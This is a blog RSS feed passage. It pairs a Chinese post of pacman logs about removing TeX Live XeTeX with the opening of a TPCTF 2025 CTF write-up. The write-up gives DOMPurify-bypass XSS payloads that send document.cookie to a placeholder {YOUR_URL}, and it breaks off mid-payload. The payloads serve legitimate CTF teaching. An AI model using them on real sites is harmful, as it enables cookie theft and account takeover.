<span><span style="color: #d6deeb">[2023-06-18T19:54:21+0800] [ALPM] removed texlive-fontsextra (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:22+0800] [ALPM] removed texlive-context (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:22+0800] [ALPM] removed texlive-bibtexextra (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:22+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:24+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:24+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:24+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:24+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:46+0800] [ALPM] running &#39;73-texlive-updmap.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:46+0800] [ALPM-SCRIPTLET] updmap [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:28+0800] [PACMAN] Running &#39;pacman --noconfirm --color=always -Sy&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:28+0800] [PACMAN] synchronizing package lists</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:30+0800] [PACMAN] Running &#39;pacman --color=always -Su&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:30+0800] [PACMAN] starting full system upgrade</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:33+0800] [PACMAN] Running &#39;pacman -S texlive-latexrecommended&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:34+0800] [ALPM] transaction started</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:34+0800] [ALPM] installed texlive-latexrecommended (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:34+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:34+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:34+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:43+0800] [PACMAN] Running &#39;pacman --noconfirm --color=always -Sy&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:43+0800] [PACMAN] synchronizing package lists</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:46+0800] [PACMAN] Running &#39;pacman --color=always -Su&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:46+0800] [PACMAN] starting full system upgrade</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:48+0800] [PACMAN] Running &#39;pacman -S texlive-latexextra&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:49+0800] [ALPM] transaction started</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:50+0800] [ALPM] installed texlive-latexextra (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:50+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:50+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:50+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:50+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:55:51+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:56:31+0800] [ALPM] running &#39;73-texlive-updmap.hook&#39;...</span></span></samp></pre></div></section>
<p>总之<span class="mojikumi-line-end">，</span>拆包之后<span class="mojikumi-line-end">，</span>我想看看需要装什么<span class="mojikumi-line-end">。</span>发现有 <code>texlive<wbr>-<wbr>xetex</code> 就装了<span class="mojikumi-line-end">，</span>之后又换成 <code>texlive<wbr>-<wbr>meta</code><span class="mojikumi-line-end">，</span>感觉太 bloat 了又卸了<span class="mojikumi-line-start">（</span></p>
<p>之后又安装卸载过两次<span class="mojikumi-line-end">：</span></p>
<section class="code-block relative my-6 shadow" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" aria-label="plain text 代码块" data-v-c675dba6>plain text</h3><ile-root id="ile-41"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-41--></div><div class="dark:hidden" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><samp><span><span style="color: #403f53">[2023-06-22T21:28:40+0800] [PACMAN] Running &#39;pacman -S texlive-xetex&#39;</span></span>
<span><span style="color: #403f53">[2023-06-22T21:32:05+0800] [ALPM] transaction started</span></span>
<span><span style="color: #403f53">[2023-06-22T21:32:05+0800] [ALPM] installed texlive-xetex (2023.66594-14)</span></span>
<span><span style="color: #403f53">[2023-06-22T21:32:06+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #403f53">[2023-06-22T21:32:06+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-22T21:32:06+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-22T21:32:06+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-22T21:32:06+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #403f53">[2023-06-22T21:34:41+0800] [PACMAN] Running &#39;pacman -Rns texlive-xetex&#39;</span></span>
<span><span style="color: #403f53">[2023-06-22T21:34:41+0800] [ALPM] transaction started</span></span>
<span><span style="color: #403f53">[2023-06-22T21:34:41+0800] [ALPM] removed texlive-xetex (2023.66594-14)</span></span>
<span><span style="color: #403f53">[2023-06-22T21:34:42+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #403f53">[2023-06-22T21:34:42+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-22T21:34:42+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-22T21:34:42+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-22T21:34:42+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span></samp></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><samp><span><span style="color: #d6deeb">[2023-06-22T21:28:40+0800] [PACMAN] Running &#39;pacman -S texlive-xetex&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-22T21:32:05+0800] [ALPM] transaction started</span></span>
<span><span style="color: #d6deeb">[2023-06-22T21:32:05+0800] [ALPM] installed texlive-xetex (2023.66594-14)</span></span>
<span><span style="color: #d6deeb">[2023-06-22T21:32:06+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #d6deeb">[2023-06-22T21:32:06+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-22T21:32:06+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-22T21:32:06+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-22T21:32:06+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #d6deeb">[2023-06-22T21:34:41+0800] [PACMAN] Running &#39;pacman -Rns texlive-xetex&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-22T21:34:41+0800] [ALPM] transaction started</span></span>
<span><span style="color: #d6deeb">[2023-06-22T21:34:41+0800] [ALPM] removed texlive-xetex (2023.66594-14)</span></span>
<span><span style="color: #d6deeb">[2023-06-22T21:34:42+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #d6deeb">[2023-06-22T21:34:42+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-22T21:34:42+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-22T21:34:42+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-22T21:34:42+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span></samp></pre></div></section>
<section class="code-block relative my-6 shadow" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" aria-label="plain text 代码块" data-v-c675dba6>plain text</h3><ile-root id="ile-42"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-42--></div><div class="dark:hidden" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><samp><span><span style="color: #403f53">[2024-03-28T20:11:14+0800] [PACMAN] Running &#39;pacman --noconfirm --color=always -Sy&#39;</span></span>
<span><span style="color: #403f53">[2024-03-28T20:11:14+0800] [PACMAN] synchronizing package lists</span></span>
<span><span style="color: #403f53">[2024-03-28T20:11:27+0800] [PACMAN] Running &#39;pacman --color=always -Su&#39;</span></span>
<span><span style="color: #403f53">[2024-03-28T20:11:27+0800] [PACMAN] starting full system upgrade</span></span>
<span><span style="color: #403f53">[2024-03-28T20:11:32+0800] [PACMAN] Running &#39;pacman -S texlive-xetex&#39;</span></span>
<span><span style="color: #403f53">[2024-03-28T20:13:11+0800] [ALPM] transaction started</span></span>
<span><span style="color: #403f53">[2024-03-28T20:13:11+0800] [ALPM] installed texlive-xetex (2024.0-3)</span></span>
<span><span style="color: #403f53">[2024-03-28T20:13:11+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #403f53">[2024-03-28T20:13:11+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #403f53">[2024-03-28T20:13:11+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #403f53">[2024-03-28T20:13:13+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #403f53">[2024-03-28T20:13:13+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #403f53">[2024-03-29T00:30:55+0800] [PACMAN] Running &#39;pacman -Rns texlive-xetex&#39;</span></span>
<span><span style="color: #403f53">[2024-03-29T00:30:55+0800] [ALPM] transaction started</span></span>
<span><span style="color: #403f53">[2024-03-29T00:30:56+0800] [ALPM] removed texlive-xetex (2024.0-3)</span></span>
<span><span style="color: #403f53">[2024-03-29T00:30:57+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #403f53">[2024-03-29T00:30:57+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #403f53">[2024-03-29T00:30:57+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #403f53">[2024-03-29T00:30:59+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #403f53">[2024-03-29T00:31:00+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span></samp></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><samp><span><span style="color: #d6deeb">[2024-03-28T20:11:14+0800] [PACMAN] Running &#39;pacman --noconfirm --color=always -Sy&#39;</span></span>
<span><span style="color: #d6deeb">[2024-03-28T20:11:14+0800] [PACMAN] synchronizing package lists</span></span>
<span><span style="color: #d6deeb">[2024-03-28T20:11:27+0800] [PACMAN] Running &#39;pacman --color=always -Su&#39;</span></span>
<span><span style="color: #d6deeb">[2024-03-28T20:11:27+0800] [PACMAN] starting full system upgrade</span></span>
<span><span style="color: #d6deeb">[2024-03-28T20:11:32+0800] [PACMAN] Running &#39;pacman -S texlive-xetex&#39;</span></span>
<span><span style="color: #d6deeb">[2024-03-28T20:13:11+0800] [ALPM] transaction started</span></span>
<span><span style="color: #d6deeb">[2024-03-28T20:13:11+0800] [ALPM] installed texlive-xetex (2024.0-3)</span></span>
<span><span style="color: #d6deeb">[2024-03-28T20:13:11+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #d6deeb">[2024-03-28T20:13:11+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2024-03-28T20:13:11+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2024-03-28T20:13:13+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2024-03-28T20:13:13+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #d6deeb">[2024-03-29T00:30:55+0800] [PACMAN] Running &#39;pacman -Rns texlive-xetex&#39;</span></span>
<span><span style="color: #d6deeb">[2024-03-29T00:30:55+0800] [ALPM] transaction started</span></span>
<span><span style="color: #d6deeb">[2024-03-29T00:30:56+0800] [ALPM] removed texlive-xetex (2024.0-3)</span></span>
<span><span style="color: #d6deeb">[2024-03-29T00:30:57+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #d6deeb">[2024-03-29T00:30:57+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2024-03-29T00:30:57+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2024-03-29T00:30:59+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2024-03-29T00:31:00+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span></samp></pre></div></section>
<p>我印象中我曾经意外发现 <code>/<wbr>usr<wbr>/<wbr>bin<wbr>/<wbr>xetex</code> 是 <code>texlive<wbr>-<wbr>bin</code> 里的<span class="mojikumi-line-end">，</span>而 <code>texlive<wbr>-<wbr>xetex</code> 里是 <code>/<wbr>usr<wbr>/<wbr>bin<wbr>/<wbr>xetex<wbr>-<wbr>unsafe</code> 和一些其他东西<span class="mojikumi-line-end">，</span>而且 <code>texlive<wbr>-<wbr>xetex</code> 卸载掉之后当时还能正常使用<span class="mojikumi-line-end">，</span>于是就卸掉了<span class="mojikumi-line-start">（</span></p>
<p>而在 <a href="https://github.com/TeX-Live/texlive-source/blob/trunk/texk/web2c/xetexdir/NEWS">texlive-source/texk/web2c/xetexdir/NEWS</a> 中可以看到 XeTeX 的版本历史<span class="mojikumi-line-end">：</span></p>
<blockquote>
<ul>
<li>XeTeX 0.999997 (7 March 2025)</li>
<li>XeTeX 0.999996 (February 2024)</li>
<li>XeTeX 0.999995 (February 2023)</li>
</ul>
</blockquote>
<p>于是我正好在 0.999996 发布的时候重新安装了一次 XeTeX<span class="mojikumi-line-end">，</span>不知道是巧合还是当时也遇到了类似的问题<span class="mojikumi-line-end">，</span>不记得了<span class="mojikumi-line-end">。</span></p>
<p><code>pacman<wbr> -<wbr>Qo<wbr> /<wbr>var<wbr>/<wbr>lib<wbr>/<wbr>texmf<wbr>/<wbr>web2c</code> 可以发现<span class="mojikumi-line-end">，</span>这个目录<span class="mojikumi-line-start">（</span>以及里面的文件<span class="mojikumi-line-end">）</span>并不属于任何包<span class="mojikumi-line-end">，</span>实际上是由 <code>72<wbr>-<wbr>texlive<wbr>-<wbr>fmtutil<wbr>.<wbr>hook</code> 生成的<span class="mojikumi-line-end">。</span>安装了 <code>texlive<wbr>-<wbr>xetex</code> 后就会生成出 <code>/<wbr>var<wbr>/<wbr>lib<wbr>/<wbr>texmf<wbr>/<wbr>web2c<wbr>/<wbr>xetex<wbr>/<wbr>xetex<wbr>.<wbr>fmt</code> 等文件<span class="mojikumi-line-end">，</span>然后即使卸载掉也可以使用 <code>xetex</code><span class="mojikumi-line-end">，</span>但不会更新<span class="mojikumi-line-end">，</span>等到需要更新就挂了<span class="mojikumi-line-end">。</span></p>
<p>所以不要随便 unbloat<span class="mojikumi-line-start">（</span>就像 <a href="https://github.com/negativa-ai/BLAFS">BLAFS</a> 那样<span class="mojikumi-line-start">（</span></p>
<p>最后让我们再来欣赏一下这个版本号<span class="mojikumi-line-start">（</span></p>
<blockquote>
<p>3.141592653-2.6-0.999997</p>
</blockquote>]]></content:encoded>
            <category domain="https://ouuan.moe/tag/Arch%20Linux">Arch Linux</category>
            <category domain="https://ouuan.moe/tag/%E9%97%AE%E9%A2%98%E8%A7%A3%E5%86%B3%E8%AE%B0%E5%BD%95">问题解决记录</category>
        </item>
        <item>
            <title><![CDATA[TPCTF 2025 Official Write-Up (6 challenges)]]></title>
            <link>https://ouuan.moe/post/2025/03/tpctf-2025</link>
            <guid>https://ouuan.moe/post/2025/03/tpctf-2025</guid>
            <pubDate>Tue, 11 Mar 2025 05:32:30 GMT</pubDate>
            <description><![CDATA[<p>TPCTF 2025 official write-up for my challenges: baby/safe layout (revenge), Are you incognito, encrypted chat, and verified toolbox.</p>
]]></description>
            <content:encoded><![CDATA[<p>TPCTF 2025 official write-up for my challenges: baby/safe layout (revenge), Are you incognito, encrypted chat, and verified toolbox.</p>

<p><a href="https://github.com/tp-ctf/TPCTF2025">Official repository with write-up and source code</a></p>
<p>This is my first time to write challenges in a public CTF. Feel free to leave a comment or add a reaction below if you have unintended solutions / suggestions / anything to say.</p>
<h2 id="baby-layout-81-solves" class="heading"><a href="#baby-layout-81-solves" class="heading-anchor" aria-label="章节： baby layout (81 solves)" tabindex="-1"></a><span>baby layout (81 solves)</span></h2>
<p>One solution is to put <code>{{<wbr>content<wbr>}}</code> inside an attribute and to close the quote in the inner payload:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-43"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-43--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">&lt;img </span><span style="color: #4876D6">src</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">{{content}}</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">img</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">src</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">{{content}}</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span></code></pre></div></section>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-44"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-44--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">&quot; onerror=&quot;fetch(&#39;{YOUR_URL}&#39;+document.cookie)</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">&quot; onerror=&quot;fetch(&#39;{YOUR_URL}&#39;+document.cookie)</span></span></code></pre></div></section>
<p>An alternative solution is to close a <code>&#x3C;textarea></code>, like <a href="https://mizu.re/post/exploring-the-dompurify-library-hunting-for-misconfigurations#bad-usage-not-enough-context">Bad usage | Not enough context | Exploring the DOMPurify library: Hunting for Misconfigurations (2/2) | mizu.re</a>:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-45"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-45--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">&lt;textarea&gt;</span><span style="color: #403F53">{{content}}</span><span style="color: #994CC3">&lt;/textarea&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">textarea</span><span style="color: #7FDBCA">&gt;</span><span style="color: #D6DEEB">{{content}}</span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">textarea</span><span style="color: #7FDBCA">&gt;</span></span></code></pre></div></section>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-46"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-46--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">&lt;div </span><span style="color: #4876D6">id</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">&lt;/textarea&gt;&lt;img src=x onerror=fetch(&#39;{YOUR_URL}&#39;+document.cookie)&gt;</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;&lt;/div&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">id</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #FFFFFF">&lt;</span><span style="color: #ECC48D">/textarea&gt;</span><span style="color: #FFFFFF">&lt;</span><span style="color: #ECC48D">img src=x onerror=fetch(&#39;{YOUR_URL}&#39;+document.cookie)&gt;</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;&lt;/</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA">&gt;</span></span></code></pre></div></section>
<h2 id="safe-layout-50-solves" class="heading"><a href="#safe-layout-50-solves" class="heading-anchor" aria-label="章节： safe layout (50 solves)" tabindex="-1"></a><span>safe layout (50 solves)</span></h2>
<p>I made a mistake not banning <code>data</code> and <code>aria</code> attributes (<code>ALLOW_<wbr>DATA_<wbr>ATTR</code> and <code>ALLOW_<wbr>ARIA_<wbr>ATTR</code>)<sup><a href="#user-content-fn-mizu-2" id="user-content-fnref-mizu-2" data-footnote-ref aria-describedby="footnote-label">1</a></sup>, so it can be solved in the same way as the baby version by using <code>data-x</code> or <code>aria-x</code> instead of other attributes like <code>src</code>.</p>
<h2 id="safe-layout-revenge-29-solves" class="heading"><a href="#safe-layout-revenge-29-solves" class="heading-anchor" aria-label="章节： safe layout revenge (29 solves)" tabindex="-1"></a><span>safe layout revenge (29 solves)</span></h2>
<p>Tips: You can use <a href="https://yeswehack.github.io/Dom-Explorer/">Dom-Explorer</a> to see DOMPurify output. It<span class="mojikumi-narrow-left">’</span>s a great tool for playing with mXSS and sanitizers.</p>
<p>We need to get a malicious tag without using attributes. Normally, malicious tags will be either removed or escaped, but we can get unescaped angle brackets in <code>&#x3C;style></code>. DOMPurify is very strict and any HTML tags in <code>&#x3C;style></code> will be filtered. However, the regular expression only checks for <code>/&#x3C;[/\w]/</code>, so <code>&#x3C;{{<wbr>content<wbr>}}</code> will not be filtered and can be used to get malicious tags.</p>
<p>Here the inner payload is used twice, first to close the <code>&#x3C;style></code> tag and then to create the <code>&#x3C;img></code> tag:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-47"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-47--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">a</span><span style="color: #994CC3">&lt;style&gt;</span><span style="color: #403F53">{{</span><span style="color: #0C969B">content</span><span style="color: #403F53">}}&lt;{{</span><span style="color: #0C969B">content</span><span style="color: #403F53">}}</span><span style="color: #994CC3">&lt;/style&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">a</span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">style</span><span style="color: #7FDBCA">&gt;</span><span style="color: #D6DEEB">{{</span><span style="color: #80CBC4">content</span><span style="color: #D6DEEB">}}&lt;{{</span><span style="color: #80CBC4">content</span><span style="color: #D6DEEB">}}</span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">style</span><span style="color: #7FDBCA">&gt;</span></span></code></pre></div></section>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-48"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-48--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">img src onerror=fetch(`{YOUR_URL}/`+document.cookie) </span><span style="color: #994CC3">&lt;style&gt;&lt;/style&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">img src 